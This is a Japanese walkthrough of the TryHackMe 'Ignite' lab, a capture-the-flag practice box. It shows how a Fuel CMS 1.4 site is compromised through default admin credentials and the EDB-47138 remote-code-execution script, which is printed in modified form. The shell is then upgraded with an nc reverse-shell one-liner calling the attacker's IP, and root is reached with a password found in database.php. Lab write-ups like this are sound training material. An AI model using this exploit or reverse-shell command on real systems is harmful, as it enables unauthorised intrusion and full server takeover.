本稿では、TryHackMeにて提供されている「Ignite」ルームに関する攻略方法(Walkthrough)について検証します。
エグゼクティブサマリー
ツール
- nmap
- searchsploit
- 47138.py
- Linpeas
ネットワークサービススキャン
nmap
IPアドレス10.10.43.254
をignite.thm
として、/etc/hosts
に追加します。その上で、nmapを使用し、ポートスキャンを実行します。
kali@kali:~$ nmap -Pn -T4 -A -vv ignite.thm
Starting Nmap 7.80 ( https://nmap.org ) at 2021-01-11 23:42 EST
Nmap scan report for ignite.thm (10.10.43.254)
Host is up, received user-set (0.29s latency).
Scanned at 2021-01-11 23:42:37 EST for 35s
Not shown: 999 closed ports
Reason: 999 conn-refused
PORT STATE SERVICE REASON VERSION
80/tcp open http syn-ack Apache httpd 2.4.18 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
| http-robots.txt: 1 disallowed entry
|_/fuel/
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Welcome to FUEL CMS
NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 23:43
Completed NSE at 23:43, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 23:43
Completed NSE at 23:43, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 23:43
Completed NSE at 23:43, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 36.00 seconds
これで、標的にて稼働しているサービスが判明しました。特に気になるのは次の通りです。
ポート番号 | サービス | バージョン |
---|---|---|
80/tcp | http | Apache httpd 2.4.18 ((Ubuntu)), Fuel CMS Version 1.4 |
HTTPサービスのスキャン
robots.txt ファイル
curl
コマンドを使って80/tcp
にアクセスしてみます。robots.txt
ファイルの有無を確認することが狙いです。
kali@kali:~$ curl http://ignite.thm/robots.txt
User-agent: *
Disallow: /fuel/
ブラウザ アクセス
Firefox
ブラウザを使って80/tcp
にアクセスしてみます。
nmap
、Firefox
の結果から、Contents Management Systemとして、Fuel CMS Version 1.4
が使用されていることが明らかです。
robots.txt
の設定値からFuel CMSのログイン画面が特定できました。
http://ignite.thm/fuel/login/
管理画面へのログイン試行
FUEL Securityによれば、初期設定のパスワードはadminです。
ユーザー名、パスワードとしてadmin:admin
を試してみます。ログインに成功しました。
アクセス権の取得
Fuel CMS Version 1.4
が抱えている脆弱性について、searchsploit
コマンドを使って検索します。
EDB-ID 47138が見つかりました。
kali@kali:~$ searchsploit fuelCMS
------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
------------------------------------------------------------------------------------------------------------------------- ---------------------------------
fuelCMS 1.4.1 - Remote Code Execution | linux/webapps/47138.py
------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
47138.py
コードを環境に応じて改変します。
url =
パラメータは標的であるhttp://ignite.thm/
に変更します。
proxy =
パラメータは不要なため、削除します。
import requests
import urllib
url = "http://ignite.thm/"
def find_nth_overlapping(haystack, needle, n):
start = haystack.find(needle)
while start >= 0 and n > 1:
start = haystack.find(needle, start+1)
n -= 1
return start
while 1:
xxxx = input('cmd:')
url = url+"/fuel/pages/select/?filter=%27%2b%70%69%28%70%72%69%6e%74%28%24%61%3d%27%73%79%73%74%65%6d%27%29%29%2b%24%61%28%27"+urllib.parse.quote(xxxx>
r = requests.get(url)
html = "<!DOCTYPE html>"
htmlcharset = r.text.find(html)
begin = r.text[0:20]
dup = find_nth_overlapping(r.text,begin,2)
print(r.text[0:dup])
47138.py
コードを実行し、whoami
やpwd
コマンドを使って動作確認を行います。
47138.py
コードが期待通り動作した場合、低特権(www-data
)のシェルを獲得することができます。
kali@kali:~$ python3 47138.py
cmd:whoami
systemwww-data
.
.
.
cmd:pwd
system/var/www/html
リバースシェル
リバースシェルを確立します。はじめに、攻撃端末(kali
)側でnc
コマンドを使って待ち受けます。
kali@kali:~$ nc -lnvp 4444
listening on [any] 4444 ...
ignite.thm
側にて、リバースシェルを立ち上げます。
cmd:rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.11.19.198 4444 >/tmp/f
シェルのアップグレード
操作性を高めるため、シェルをアップグレードします。
$ python -c 'import pty; pty.spawn("/bin/bash")'
www-data@ubuntu:/var/www/html$
システム探索
/home/www-data
ディレクトリにflag.txt
ファイルが確認できます。
www-data@ubuntu:/var/www/html$ cd /home
www-data@ubuntu:/home$ ls
ls
www-data
www-data@ubuntu:/home$ cd www-data
cd www-data
www-data@ubuntu:/home/www-data$ ls
ls
flag.txt
flag.txt
フラグを取得します。
www-data@ubuntu:/home/www-data$ cat flag.txt
cat flag.txt
6470{BLOCKED}059b
特権昇格
「Linpeas」ツールを使ってシステム探索を行います。
攻撃端末(kali
)側でSimpleHTTPServer
を立ち上げ、ツールをダウンロードできるようにします。
kali@kali:~/OffsecVM/bin/lin$ python -m SimpleHTTPServer 8080
Serving HTTP on 0.0.0.0 port 8080 ...
10.10.43.254 - - [12/Jan/2021 01:23:06] "GET /linpeas.sh HTTP/1.1" 200 -
ignite.thm
側でlinpeas.sh
ツールをダウンロードします。
www-data@ubuntu:/tmp$ wget http://10.11.19.198:8080/linpeas.sh
wget http://10.11.19.198:8080/linpeas.sh
--2021-01-11 22:24:05-- http://10.11.19.198:8080/linpeas.sh
Connecting to 10.11.19.198:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 233665 (228K) [text/x-sh]
Saving to: 'linpeas.sh'
linpeas.sh 100%[===================>] 228.19K 210KB/s in 1.1s
2021-01-11 22:24:06 (210 KB/s) - 'linpeas.sh' saved [233665/233665]
linpeas.sh
に実行権限を与え、実行します。
www-data@ubuntu:/tmp$ chmod +x linpeas.sh
chmod +x linpeas.sh
www-data@ubuntu:/tmp$ ./linpeas.sh
linpeas.sh
の実行レポートにおける、Finding 'pwd' or 'passw' variables (and interesting php db definitions) inside /home /var/www /var/backups /tmp /etc /root /mnt (limit 70)
項目に注目します。
/var/www/html/fuel/application/config/database.php
ファイルの内容を確認します。資格情報としてroot:mememe
が設定されています。
su
コマンドを使って、root:mememe
による特権昇格の可能性について確認してみます。root権限への昇格に成功しました。
www-data@ubuntu:/home/www-data$ su
su
Password: mememe
/root
ディレクトリにroot.txt
ファイルが確認できます。
root@ubuntu:/home/www-data# cd /root
cd /root
root@ubuntu:~# ls
ls
root.txt
root.txt
フラグを取得します。
root@ubuntu:~# cat root.txt
cat root.txt
b9bb{BLOKED}482d
まとめ
一般ユーザのアクセス権取得
-
robots.txt
の設定値からFuel CMS
のログイン画面を特定しました。 - 管理コンソールのアカウントが初期設定のまま(
admin/admin
)運用されていることを特定しました。 -
Fuel CMS
の脆弱性(EDB-ID 47138)をつき、任意のコードを実行しました。
特権昇格
-
database.php
ファイルに資格情報(root:mememe
)がハードコーディングされていることを特定しました。